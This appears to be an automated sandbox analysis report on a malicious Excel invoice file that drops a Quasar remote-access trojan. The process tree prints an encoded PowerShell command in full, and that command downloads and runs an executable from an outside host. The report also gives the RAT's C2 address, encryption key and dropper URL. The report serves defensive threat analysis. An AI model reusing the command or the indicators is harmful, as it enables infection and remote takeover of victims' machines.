Analysis

  • max time kernel
    121s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    12/01/2022, 09:32

General

  • Target
    INVOICE 1842.xlsm
  • Size 70KB
  • Sample220112-lhmfcscbbl
  • SHA256 66c0b3969424c37bc46498d8f51e9cd6c82ac5a66b50302fa1d13a4ac2d82e6d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://emailanywhere.co.za/Rich/Ye Asante.pif

Extracted

Family
  • quasar

Version
  • 1.3.0.0

Botnet
  • u.n.i.a

C2
  • 194.5.98.18:4782

Mutex
  • MUTEX_Ci7DVwGPXgAVVgdY5o

Attributes
  • encryption_key

    TDkXchnBxu4eOrQBlomq

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    cmd

  • subdirectory

    SubDir

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Quasar Payload 3 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\INVOICE 1842.xlsm"
    1⤵
    • Deletes itself
    • Checks processor information in registry
    • Enumerates system info in registry
    • NTFS ADS
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: RenamesItself
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2448
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Kyorpfsgncwoizomiskw.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBIAHkAcgBqAHkAaABwAHQAZQBjAGIALgBlAHgAZQAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcABzADoALwAvAGUAbQBhAGkAbABhAG4AeQB3AGgAZQByAGUALgBjAG8ALgB6AGEALwBSAGkAYwBoAC8AWQBlACAAQQBzAGEAbgB0AGUALgBwAGkAZgAiACwAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2468
        • C:\Users\Admin\AppData\Roaming\Hyrjyhptecb.exe
          "C:\Users\Admin\AppData\Roaming\Hyrjyhptecb.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5; Remove-Item -Path "C:\Users\Admin\AppData\Roaming\Hyrjyhptecb.exe" -Force
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:816
          • C:\Users\Admin\AppData\Local\Temp\Hyrjyhptecb.exe
            C:\Users\Admin\AppData\Local\Temp\Hyrjyhptecb.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:3976

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/816-354-0x0000000007ED0000-0x0000000007EEC000-memory.dmp

        memory/816-335-0x0000000006B30000-0x0000000006B66000-memory.dmp

        memory/816-379-0x0000000006CB3000-0x0000000006CB4000-memory.dmp

        memory/816-375-0x000000000A1E0000-0x000000000A6DE000-memory.dmp

        memory/816-374-0x00000000084E0000-0x0000000008502000-memory.dmp

        memory/816-373-0x00000000094E0000-0x0000000009574000-memory.dmp

        memory/816-368-0x00000000090B0000-0x00000000090CA000-memory.dmp

        memory/816-367-0x0000000009B60000-0x000000000A1D8000-memory.dmp

        memory/816-356-0x0000000008330000-0x00000000083A6000-memory.dmp

        memory/816-355-0x0000000008030000-0x000000000807B000-memory.dmp

        memory/816-350-0x0000000007B60000-0x0000000007EB0000-memory.dmp

        memory/816-348-0x0000000007AF0000-0x0000000007B56000-memory.dmp

        memory/816-345-0x0000000007A80000-0x0000000007AE6000-memory.dmp

        memory/816-343-0x0000000007A50000-0x0000000007A72000-memory.dmp

        memory/816-338-0x00000000072F0000-0x0000000007918000-memory.dmp

        memory/816-336-0x0000000006CB0000-0x0000000006CB1000-memory.dmp

        memory/816-337-0x0000000006CB2000-0x0000000006CB3000-memory.dmp

        memory/1588-328-0x00000000005C0000-0x00000000005E0000-memory.dmp

        memory/1588-327-0x00000000005C0000-0x00000000005E0000-memory.dmp

        memory/1588-330-0x0000000005870000-0x00000000058DE000-memory.dmp

        memory/1588-329-0x00000000050A0000-0x00000000050A1000-memory.dmp

        memory/1588-331-0x0000000005A20000-0x0000000005AB2000-memory.dmp

        memory/2448-117-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

        memory/2448-119-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

        memory/2448-121-0x0000017F52440000-0x0000017F52442000-memory.dmp

        memory/2448-128-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

        memory/2448-118-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

        memory/2448-116-0x00007FFB307C0000-0x00007FFB307D0000-memory.dmp

        memory/2448-120-0x0000017F52440000-0x0000017F52442000-memory.dmp

        memory/2448-122-0x0000017F52440000-0x0000017F52442000-memory.dmp

        memory/2468-303-0x0000028E28570000-0x0000028E285E6000-memory.dmp

        memory/2468-313-0x0000028E281B3000-0x0000028E281B5000-memory.dmp

        memory/2468-312-0x0000028E281B0000-0x0000028E281B2000-memory.dmp

        memory/2468-298-0x0000028E281C0000-0x0000028E281E2000-memory.dmp

        memory/2468-314-0x0000028E281B6000-0x0000028E281B8000-memory.dmp

        memory/3976-351-0x00000000056A0000-0x0000000005732000-memory.dmp

        memory/3976-362-0x00000000064E0000-0x00000000064F2000-memory.dmp

        memory/3976-363-0x00000000069F0000-0x0000000006A2E000-memory.dmp

        memory/3976-364-0x0000000006D60000-0x0000000006D6A000-memory.dmp

        memory/3976-359-0x00000000059B0000-0x0000000005A16000-memory.dmp

        memory/3976-353-0x0000000005560000-0x0000000005A5E000-memory.dmp

        memory/3976-349-0x0000000005A60000-0x0000000005F5E000-memory.dmp

        memory/3976-347-0x0000000000400000-0x000000000045E000-memory.dmp

        memory/3976-346-0x0000000000400000-0x000000000045E000-memory.dmp